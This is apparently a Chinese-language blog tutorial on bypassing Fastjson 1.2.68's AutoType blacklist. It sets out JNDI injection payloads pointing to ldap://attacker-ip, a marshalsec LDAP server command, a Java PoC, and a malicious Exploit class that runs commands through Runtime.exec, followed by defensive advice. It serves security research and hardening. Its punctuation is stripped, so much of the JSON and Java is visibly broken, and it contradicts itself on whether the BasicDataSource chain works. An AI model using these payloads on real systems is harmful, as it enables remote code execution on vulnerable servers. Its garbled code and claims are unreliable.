Fastjson 1.2.68反序列化漏洞实战:绕过AutoType黑名单的攻防解析

📅 2026/7/7 17:55:11
Fastjson 1.2.68反序列化漏洞实战:绕过AutoType黑名单的攻防解析
1. 项目概述Fastjson 1.2.68的攻防博弈在Java应用安全领域Fastjson的反序列化漏洞几乎成了一个“年经”话题。从1.2.24版本的“开天辟地”到后续版本中不断上演的“猫鼠游戏”每一次补丁的发布都伴随着新一轮的绕过技巧。我们上篇已经详细拆解了1.2.68版本之前攻击者如何利用AutoType机制的缺陷通过精心构造的Payload实现远程代码执行。本篇我们将聚焦于1.2.68这个特定版本深入剖析那些在默认关闭AutoTypeSupport的情况下依然能够成功绕过的实战利用链。简单来说这个版本的安全攻防核心在于如何在黑名单的严密防守下找到那条未被完全封死的“小路”。Fastjson在1.2.25版本引入了基于黑白名单的checkAutoType机制但安全研究者和攻击者很快发现这个机制并非铁板一块。从简单的字符变形如Lcom.sun.rowset.JdbcRowSetImpl;到利用缓存机制的“二次加载”技巧再到挖掘不在黑名单内的“新大陆”类绕过手段层出不穷。1.2.68版本汇集了此前多个版本的“遗产”也引入了一些新的防御逻辑理解这个版本的漏洞相当于回顾了Fastjson反序列化漏洞的“编年史”中一段关键时期。无论你是负责应用安全的工程师、红队渗透测试人员还是对Java安全机制有浓厚兴趣的开发者搞懂这些绕过手法背后的原理都能让你对Java反序列化这一经典攻击面有更深刻的认识。2. 核心防御机制回顾与1.2.68的上下文在深入1.2.68的绕过细节前我们必须先厘清Fastjson构建的防御体系以及1.2.68版本在整个演进史中的位置。这有助于我们理解为什么某些老技巧依然有效而另一些则被彻底封堵。2.1checkAutoType机制的精髓与软肋Fastjson在1.2.25版本引入的checkAutoType函数是其反序列化安全的核心防线。它的逻辑可以简化为一个流程图式的决策树但其实现细节中埋下了不少隐患。默认流程autoTypeSupportfalse:黑名单优先拦截首先检查类名是否以黑名单denyList中的任何前缀开头。如果是直接抛出JSONException。这是第一道也是最粗粒度的一道关卡。缓存查找接着去一个名为mappings的本地缓存HashMap中查找该类。如果找到则返回缓存的Class对象。这个缓存机制本意是提升性能却成了后续多个绕过手法的关键。内置反序列化器查找如果缓存未命中则尝试从内置的反序列化器列表中查找。白名单放行如果上述都未找到则检查类名是否以白名单acceptList中的前缀开头。如果是则使用TypeUtils.loadClass加载该类。白名单默认是空的需要用户手动配置。最终拒绝如果以上所有步骤都失败则抛出异常拒绝反序列化。开启AutoType流程autoTypeSupporttrue:顺序变为白名单 - 黑名单 - 缓存/内置查找 - 加载。这相当于降低了安全门槛因此生产环境强烈不建议开启。1.2.68版本的防御现状到了1.2.68黑名单已经非常庞大涵盖了com.sun.、org.apache.commons.collections.、org.springframework.等大量已知的危险包。同时针对早期的一些绕过技巧如L...;和[...格式的类名也增加了额外的校验。然而防御的复杂性带来了新的问题黑名单能否穷尽所有可能的危险类缓存机制是否存在时序竞争问题是否有不在黑名单内但同样危险的“偏门”类这些就是1.2.68版本绕过攻击的突破口。2.2 关键版本补丁脉络速览为了理解1.2.68的漏洞我们需要快速回顾一下导致它现状的关键补丁1.2.25引入checkAutoType和黑白名单封堵了1.2.24的直接利用。1.2.42将黑名单从明文类名改为哈希值增加分析难度。1.2.43修补了使用[开头绕过黑名单的漏洞。1.2.45修补了利用org.apache.ibatis.datasource.jndi.JndiDataSourceFactory的绕过该漏洞依赖Mybatis库。1.2.47修补了影响极其深远的“缓存绕过”漏洞即利用java.lang.Class提前加载恶意类到缓存。这个补丁是1.2.68安全状态的基础但并非无懈可击。1.2.48在47补丁基础上将java.lang.Class加入了黑名单并默认关闭了TypeUtils.loadClass的缓存功能。1.2.68版本继承了所有这些补丁这意味着早于1.2.47的“通杀”型Payload如经典的Lcom.sun.rowset.JdbcRowSetImpl;在默认配置下已经失效。攻击必须寻找新的路径。注意环境复现的基石所有后续的漏洞复现和分析都基于一个共同的前提目标项目中引入了存在可利用的Getter/Setter方法或构造方法的第三方依赖库。Fastjson漏洞的本质是“触发链”它本身只是提供了一个“点火器”真正的“炸药”是那些不安全的类。在搭建测试环境时务必根据你想测试的利用链引入相应的JAR包如commons-collections 3.1、tomcat-dbcp等。3. 1.2.68版本实战绕过利用链深度解析在默认关闭AutoTypeSupport且黑名单日趋完善的1.2.68版本成功的绕过通常需要结合特定的依赖环境和精巧的构造技巧。下面我们剖析几个具有代表性的实战利用链。3.1 利用链一基于org.apache.tomcat.dbcp.dbcp2.BasicDataSource的JNDI注入这是1.2.68版本中一个非常经典且稳定的绕过方式它不依赖于开启AutoType而是利用了一个不在黑名单中、但功能危险的类。3.1.1 利用原理与条件org.apache.tomcat.dbcp.dbcp2.BasicDataSource是Tomcat数据库连接池的一个实现类。它有一个setDataSourceName方法。当Fastjson反序列化时会调用该类的setter方法。在这个方法的实现中会去初始化数据源最终会调用到javax.naming.InitialContext.lookup(dataSourceName)。如果dataSourceName可控就构成了一个标准的JNDI注入点。利用条件Fastjson版本 1.2.68实际上在后续版本该类别被加入黑名单。目标Classpath中引入了tomcat-dbcp包例如org.apache.tomcat:tomcat-dbcp:9.0.x。目标运行的JDK版本受相关JNDI注入漏洞影响如JDK 6u141, 7u131, 8u121之前版本或存在其他绕过限制的利用方式如利用本地ClassPath中的Factory类。这是最关键的限制条件。3.1.2 攻击Payload构造{ type: org.apache.tomcat.dbcp.dbcp2.BasicDataSource, driverClassName: com.mysql.jdbc.Driver, url: jdbc:mysql://localhost:3306/test?autoReconnecttrueuseSSLfalse, username: root, password: password, connectionProperties: socketFactorycom.sun.net.ssl.internal.ssl.SSLSocketFactory, dataSourceName: ldap://attacker-ip:1389/Exploit }或者更简洁的{ type: org.apache.tomcat.dbcp.dbcp2.BasicDataSource, dataSourceName: ldap://attacker-ip:1389/Exploit }3.1.3 调试与流程分析我们可以通过调试来直观理解整个利用链入口Fastjson解析到type指定为org.apache.tomcat.dbcp.dbcp2.BasicDataSource。由于该类不在黑名单中且未开启AutoType它会顺利通过checkAutoType的缓存查找和白名单检查因为都没找到但由于类不在黑名单且非内置最终会抛出异常吗这里有个关键该类存在于当前ClassPath中。checkAutoType在缓存和白名单之后如果clazz仍为null且autoTypeSupport为false会直接抛异常。但是如果这个类通过其他方式如父类加载器已经被加载或者在某些上下文下能被Class.forName找到情况可能不同。实际上对于存在于ClassPath的类TypeUtils.loadClass有可能成功加载但这依赖于具体实现和类加载器上下文。更常见的利用场景是目标应用本身就用到了Tomcat DBCP那么这个类必然已被加载或可被加载从而绕过checkAutoType的严格限制这里需要仔细审视。在1.2.47之后对于非白名单且不在缓存的类默认会抛异常。因此这个利用链通常需要目标环境配置了AutoType白名单或者存在其他条件使得该类能被成功加载。许多公开的PoC演示是在开启了AutoTypeSupport或添加了特定白名单的情况下进行的。这是理解该利用链的关键细节。Setter调用假设类加载成功Fastjson会实例化该类并解析后续的键值对。当解析到dataSourceName时会调用BasicDataSource.setDataSourceName(String name)方法。JNDI触发在BasicDataSource的初始化或后续某个方法中如createDataSource会执行InitialContext.lookup(this.dataSourceName)。此时dataSourceName已被我们控制为恶意的LDAP/RMI地址。恶意代码加载攻击者控制的LDAP/RMI服务器响应请求指向一个包含恶意Java类的远程地址如http://attacker-ip:8000/Exploit.class。在受影响的旧版JDK中客户端会自动加载并实例化这个类导致RCE。实操心得依赖与版本匹配使用这个利用链时最大的坑在于依赖版本的匹配。tomcat-dbcp有不同的版本如dbcp和dbcp2包名和类名可能略有差异。务必确认目标环境中存在的确切类名。使用BasicDataSource的利用链在后续Fastjson版本如1.2.69中被通过黑名单修补但在1.2.68及之前版本如果环境条件满足它仍是一个有效的攻击点。3.2 利用链二利用org.apache.ibatis.datasource.jndi.JndiDataSourceFactory的二次绕过这个类在1.2.45版本被加入黑名单哈希形式但在某些特定条件下仍然可能被利用这体现了黑名单防御的滞后性。3.2.1 原理回顾与条件JndiDataSourceFactory是MyBatis框架中用于获取JNDI数据源的工厂类。它有一个setProperties(Properties properties)方法。Fastjson在反序列化时会尝试调用这个setter方法。在该方法内部会调用InitialContext.lookup(properties.getProperty(data_source))。在1.2.45之后org.apache.ibatis.datasource被加入了黑名单。但是黑名单是前缀匹配。如果攻击者能找到同一个包下、不在黑名单哈希表里、但同样有危险方法的其他类或者不同包名但类名相似的类就有可能绕过。例如在某些MyBatis版本或分支中可能存在类名细微差异的类。不过在1.2.68版本这个直接的类名已被广泛识别和封堵。更实际的利用思路是如果目标环境因为历史原因或配置错误手动清空或修改了黑名单或者使用了非全局的、配置了错误白名单的ParserConfig实例那么这些已被列入黑名单的类可能重新变得可用。因此在渗透测试中检查应用关于Fastjson的配置如fastjson.properties文件、启动参数、代码中的ParserConfig设置是至关重要的一步。3.2.2 Payload示例{ type: org.apache.ibatis.datasource.jndi.JndiDataSourceFactory, properties: { data_source: ldap://attacker-ip:1389/Exploit } }此Payload在标准1.2.68环境未修改黑名单下会触发黑名单拦截而失败。它的价值在于提醒我们黑名单的维护需要持续跟进并且应用的自定义配置可能引入风险。3.3 利用链三挖掘其他冷门组件中的危险类以com.zaxxer.hikari.HikariConfig为例除了上述相对知名的类攻击者一直在挖掘其他第三方库中可用于构造利用链的类。HikariCP是流行的数据库连接池其配置类HikariConfig在特定版本下存在利用可能。3.3.1 利用原理HikariConfig类中有诸如setMetricRegistry(Object metricRegistry)和setHealthCheckRegistry(Object healthCheckRegistry)等方法。这些方法的参数类型是Object。Fastjson在反序列化时如果JSON中对应的值是一个字符串它会尝试将这个字符串反序列化为一个对象。如果这个字符串是type形式就会触发新一轮的反序列化过程。这就为“二次注入”或链式调用提供了可能。然而在1.2.68版本直接利用HikariConfig进行JNDI注入通常需要开启AutoTypeSupport因为metricRegistry等属性期望的是一个对象实例而Fastjson需要知道具体类型来反序列化。如果属性值是一个简单的JNDI地址字符串HikariCP库本身并不会去调用lookup。公开的PoC如{type:com.zaxxer.hikari.HikariConfig,metricRegistry:ldap://...}在关闭AutoType的默认情况下往往无法成功因为ldap://...这个字符串无法被自动转换为一个能触发JNDI的Object。真正的利用可能需要更复杂的嵌套对象构造。3.3.2 实战意义这个例子说明了绕过手法的另一个维度利用目标类本身属性setter方法的特性进行更深度的链式Gadget挖掘。这需要深入分析目标类的源码找到那些参数类型为Object、Map、Properties或特定接口并且内部实现会调用危险方法如Runtime.exec,Method.invoke, 或Class.forName的setter或getter。这是一种更高级、更依赖具体库版本的利用方式不如基于JNDI的利用链通用但隐蔽性更强。注意事项AutoType开关的影响在测试和评估Fastjson漏洞时务必明确AutoTypeSupport的开关状态。很多公开的PoC只有在开启AutoType时才有效。判断方法可以尝试一个简单的测试Payload{type:java.lang.AutoCloseable}。如果解析报错提示autoType is not support则说明AutoType未开启如果成功解析可能返回null或报其他错误则说明AutoType已开启或存在其他绕过。这是信息收集的关键一步。4. 漏洞复现环境搭建与调试详解纸上得来终觉浅绝知此事要躬行。要真正理解这些绕过手法亲手搭建环境进行调试是不可或缺的。4.1 环境准备清单JDK版本选择受JNDI注入影响的版本进行漏洞利用学习如JDK 8u121之前或使用高版本JDK但配合利用本地ClassPath的利用链如commons-collections进行学习。建议使用Docker隔离环境。Fastjson库明确引入1.2.68版本的JAR包。!-- Maven 依赖 -- dependency groupIdcom.alibaba/groupId artifactIdfastjson/artifactId version1.2.68/version /dependency漏洞依赖库根据你要测试的利用链引入对应的库例如tomcat-dbcp(用于BasicDataSource链)mybatis(用于JndiDataSourceFactory链注意版本)HikariCP(用于HikariConfig链)commons-collections 3.1(用于构造不含JNDI的纯反序列化链受JDK版本限制小)攻击工具JNDI注入工具使用marshalsec或JNDI-Injection-Exploit快速启动恶意的RMI/LDAP服务器。恶意类准备一个编译好的恶意类例如实现ObjectFactory或Referenceable接口在静态代码块或构造函数中执行命令如Runtime.getRuntime().exec(calc)。IDE与调试使用IntelliJ IDEA或Eclipse方便下断点跟踪Fastjson反序列化流程。4.2 调试过程核心断点设置理解漏洞跟踪代码执行流是最好的方式。在IDEA中对Fastjson源码进行反编译或引入源码在以下关键位置设置断点入口断点com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)。这是解析JSON对象的起点。类型检查断点com.alibaba.fastjson.parser.ParserConfig#checkAutoType(String, Class?, int)。这是所有绕过手法必须经过的“安检口”。在这里观察传入的typeName以及它是如何被黑白名单过滤、如何查询缓存的。类加载断点com.alibaba.fastjson.util.TypeUtils#loadClass(String, ClassLoader)。观察类名是如何被加载的特别是处理L...;和[...这些特殊格式的逻辑。Setter调用断点在你目标利用类的setter方法上打上断点例如BasicDataSource.setDataSourceName。当断点命中时查看调用栈理解Fastjson是如何从JSON解析过渡到方法调用的。JNDI触发断点javax.naming.InitialContext#lookup(String)。这是最终触发远程代码加载的地方。4.3 复现步骤示例以Tomcat DBCP2链为例假设我们已准备好受影响的JDK、Fastjson 1.2.68、tomcat-dbcp2依赖以及攻击机。编写漏洞测试代码import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; public class Fastjson1268Poc { public static void main(String[] args) { // 模拟默认配置不开启AutoType // ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 注释掉测试默认情况 String payload {\type\:\org.apache.tomcat.dbcp.dbcp2.BasicDataSource\,\dataSourceName\:\ldap://your-attacker-ip:1389/Exploit\}; try { Object obj JSON.parse(payload); System.out.println(Parsed: obj); } catch (Exception e) { e.printStackTrace(); } } }启动恶意JNDI服务器在攻击机上java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-attacker-ip:8000/#Exploit 1389编译并托管恶意类// Exploit.java import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class Exploit implements ObjectFactory { static { try { Runtime.getRuntime().exec(open /System/Applications/Calculator.app); // Mac // Runtime.getRuntime().exec(calc.exe); // Windows } catch (Exception e) { e.printStackTrace(); } } Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable?, ? environment) { return null; } }编译javac Exploit.java并将其放在攻击机的Web服务器根目录如python3 -m http.server 8000。执行测试程序在受影响环境中运行Fastjson1268Poc。如果环境配置JDK版本、依赖、网络都正确且满足了该类能被成功加载的条件如配置了相应的白名单或类已在CP中你将看到计算器被弹出或相应的命令被执行。踩坑记录类加载与网络连通性复现中最常见的两个问题一是ClassNotFoundException说明依赖没引对或类名写错了二是Connection refused或Connection timed out说明JNDI服务器没启动成功或目标与攻击机网络不通或者高版本JDK的JNDI限制已生效。务必逐一排查。5. 高级绕过技巧与失效Payload分析在实战和研究中你会遇到很多公开的Payload。理解它们为什么在1.2.68上有效或失效能极大提升你的分析能力。5.1 为什么经典的“缓存绕过”Payload在1.2.68失效了回顾一下1.2.47版本的“通杀”Payload{ a: { type: java.lang.Class, val: com.sun.rowset.JdbcRowSetImpl }, b: { type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: ldap://..., autoCommit: true } }失效原因1.2.48版本的补丁做了两件事1) 将java.lang.Class加入了黑名单2) 在TypeUtils.loadClass中默认将缓存开关cache参数设置为false。因此第一部分试图通过Class加载JdbcRowSetImpl进缓存的操作会因为在checkAutoType阶段就被黑名单拦截Class在黑名单而失败。即使拦截不了加载后也不会被缓存。第二部分在解析时由于缓存中没有com.sun.rowset.JdbcRowSetImpl本身又在黑名单中所以也会被直接拒绝。5.2 字符变形绕过的末路早期的一些字符变形技巧在1.2.68也基本走到了尽头L...;绕过在1.2.25-1.2.41有效。1.2.42之后checkAutoType或loadClass中加强了对这种格式的校验会先进行规范化处理去掉L和;再进行黑名单匹配因此失效。[...绕过在1.2.25-1.2.42有效。1.2.43专门增加了对以[开头类名的检查直接抛出异常。双写LL...;;绕过这是针对L...;修复的短暂绕过同样在后续补丁中被修复。这些手法的失效体现了Fastjson防御策略从“简单过滤”向“深度解析和校验”的演进。5.3 未来可能的绕过方向思考研究视角尽管1.2.68之后还有更高版本但思考绕过方向对理解漏洞本质有帮助白名单滥用如果应用配置了过于宽泛的白名单如com.、org.攻击者就可以在允许的包名下寻找危险类。安全开发中白名单应尽可能精确。非默认ParserConfig实例Fastjson允许创建非全局的ParserConfig实例。如果某个组件使用了独立的、配置不当的ParserConfig例如误开了AutoType就可能成为突破口。寻找新的“无害”危险类永远会有新的第三方库被引入项目其中可能包含开发者未意识到的、具有危险方法的类。自动化工具如GadgetInspector和代码审计是发现这类类的关键。利用Fastjson其他特性例如JSONPath表达式、某些特殊的Feature配置是否可能与其他漏洞形成组合拳这需要更深入的研究。6. 防御建议与安全开发实践对于开发和安全人员了解攻击是为了更好的防御。6.1 终极解决方案升级与替换升级Fastjson尽快升级到最新安全版本如1.2.83及以上。新版本不仅更新了黑名单更重要的是引入了SafeMode等更彻底的防护机制。考虑替换评估使用其他更安全的JSON库如Jackson或Gson。虽然它们也非绝对安全但历史漏洞相对较少且设计上可能更谨慎。6.2 安全配置如果必须使用旧版如果因历史原因无法升级必须采取严格的配置坚决关闭AutoTypeSupport这是最重要的底线。确保没有通过JVM参数、代码或配置文件开启它。配置精确的白名单使用ParserConfig.getGlobalInstance().addAccept(your.safe.package.)来添加仅包含业务必要类的白名单。切勿使用通配符或过于宽泛的包名。使用安全模式如果版本支持在1.2.68之后的版本可以考虑启用安全模式但这会限制功能。隔离反序列化在沙箱或受限环境中执行反序列化操作。6.3 代码审计与依赖管理依赖检查使用OWASP Dependency-Check、Mavenversions:display-dependency-updates等工具定期扫描项目中的Fastjson及其他存在已知漏洞的组件。代码扫描在代码中全局搜索ParserConfig.setAutoTypeSupport(true)、Feature.SupportAutoType等危险配置。输入过滤对不可信的JSON数据来源进行严格校验尽管这不是根本解决办法但能增加攻击门槛。6.4 运行时防护与RASP对于已上线的系统可以考虑部署运行时应用自我保护RASP方案。RASP agent可以注入到JVM中在关键函数如Class.forName、Method.invoke、Runtime.exec被调用时进行拦截和判断即使Fastjson存在未知漏洞也能在最后一道防线阻止恶意代码执行。7. 总结与个人体会剖析Fastjson 1.2.68的绕过利用链就像在翻阅一本Java安全攻防的教科书。它清晰地展示了安全是一个动态的过程攻击者利用设计缺陷和实现疏忽如checkAutoType的逻辑漏洞、缓存机制、危险的三方库防御者则通过打补丁黑名单、字符校验、缓存开关来封堵。然而只要反序列化这个机制存在只要应用依赖复杂的三方库攻击面就不会消失。从我个人的实战经验来看面对这类漏洞应急响应时首先要做的就是精准定位快速确定受影响的应用、使用的Fastjson版本、以及是否开启了危险的AutoType。然后才是根据版本寻找对应的修复方案或缓解措施。在代码审计中除了Fastjson本身更要关注那些被反序列化的类是否来自不可信源以及项目引入的第三方库中是否藏有潜在的“危险类”。最后对于开发者而言最深刻的教训或许是不要轻易反序列化不可信的数据。如果必须这么做那么使用最严格的限制、保持依赖的最新状态、并时刻对安全保持敬畏是唯一的出路。Fastjson的漏洞史是整个Java生态在安全问题上的一次集中体现值得每一个后端开发者深思。